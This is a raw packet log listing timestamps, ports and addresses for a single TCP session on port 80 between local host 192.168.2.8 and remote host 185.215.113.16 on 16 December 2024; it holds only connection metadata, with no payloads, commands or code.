Dec 16, 2024 13:16:38.748223066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.748334885 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.876318932 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.876360893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.876446009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.876487017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.876744986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.876782894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.876792908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.876822948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.877980947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.878031969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.878067970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.878117085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.879138947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.879189014 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.879237890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.879276991 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.880326033 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.880410910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.880465031 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.880506992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.881553888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.881604910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.881721020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.881763935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.882719994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.882776022 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.882834911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.882878065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.883915901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.883976936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.884124994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.884171963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.885122061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.885171890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.885221004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.885266066 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.886442900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.886456013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.886499882 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.887984037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.887995958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.888041019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.888891935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.888902903 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.888943911 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.890085936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.890099049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.890139103 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.891204119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.891216040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.891258001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.892435074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.892446995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.892496109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.893640995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.893652916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.893696070 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.894963980 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.894977093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.895028114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.896091938 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.896142960 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.896147966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.896192074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.897161961 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.897208929 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.897310972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.897356033 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.898520947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.898572922 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.898715019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.898761034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.899496078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.899549007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.899576902 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.899620056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.900705099 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.900754929 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.900784969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.900825977 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.901928902 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.901983976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.902091980 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.902139902 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.903207064 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.903218985 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.903264046 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.904438019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.904499054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.904550076 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.904598951 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.905659914 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.905672073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.905715942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.906725883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.906780958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.906829119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.906874895 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.908036947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.908096075 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.908147097 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.908193111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.909392118 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.909404039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.909452915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.910540104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.910552979 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.910598993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.911663055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.911675930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.911721945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.912906885 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.912919044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.912969112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.913995028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.914047956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.914073944 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.914124966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.915285110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.915298939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.915355921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.916423082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.916435003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.916481972 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.917536020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.917597055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.917629957 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.917680025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.918838024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.918850899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.918884993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.919981003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.920026064 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.920041084 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.920066118 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.921314001 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.921370983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.921413898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.921458960 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.922394037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.922450066 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.922482014 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.922527075 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.923516989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.923576117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.923641920 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.923688889 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.924896955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.924907923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.924952030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.926018953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.926038027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.926074982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.926100016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.927181959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.927238941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.927263021 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.927304029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.928481102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.928491116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.928540945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.929516077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.929565907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.929629087 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.929675102 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.930743933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.930798054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.930955887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.931004047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.932172060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.932188988 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.932229996 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.933267117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.933278084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.933320045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.934359074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.934410095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.934521914 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.934567928 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.935621023 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.935631037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.935676098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.936754942 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.936805010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.936862946 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.936911106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.937987089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.938049078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.938079119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.938127041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.939117908 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.939177036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.068361044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.068378925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.068520069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.068799019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.068809032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.068855047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.069716930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.069727898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.069767952 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.069793940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.070889950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.070902109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.070965052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.071942091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.071993113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.072071075 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.072129011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.073138952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.073189974 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.073263884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.073306084 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.074465036 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.074475050 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.074532986 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.075563908 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.075665951 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.075684071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.075730085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.076877117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.076888084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.076927900 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.077934027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.077986002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.078049898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.079175949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.079226971 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.079301119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.079346895 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.080357075 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.080410957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.080573082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.080611944 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.081712008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.081723928 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.081763029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.082806110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.083117962 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.083175898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.083947897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.083992004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.084206104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.084258080 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.085248947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.085258961 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.085300922 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.086282969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.086385965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.086438894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.087770939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.087780952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.087827921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.088807106 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.088816881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.088865995 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.090023994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.090034008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.090081930 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.091237068 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.091247082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.091320038 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.092336893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.092453003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.092520952 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.093512058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.093564987 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.093790054 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.093837023 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.094778061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.094788074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.094840050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.096138000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.096157074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.096205950 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.097232103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.097287893 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.097351074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.097405910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.098320007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.098437071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.098496914 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.099623919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.099636078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.099685907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.099705935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.100816965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.100830078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.100883007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.101991892 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.102004051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.102056980 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.103224039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.103239059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.103296041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.104584932 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.104595900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.104646921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.105567932 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.105578899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.105633020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.106678009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.107006073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.107081890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.107911110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.107922077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.107976913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.109285116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.109296083 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.109350920 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.110275984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.110285997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.110342979 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.111674070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.111726999 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.111754894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.111782074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.112921953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.112935066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.112998009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.113986969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.114000082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.114041090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.115637064 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.115705013 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.115850925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.115900040 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.116384983 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.116396904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.116434097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.117590904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.117607117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.117657900 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.118825912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.118838072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.118892908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.119935989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.119946957 CET	80	49770	185.215.113.16	192.168.2.8
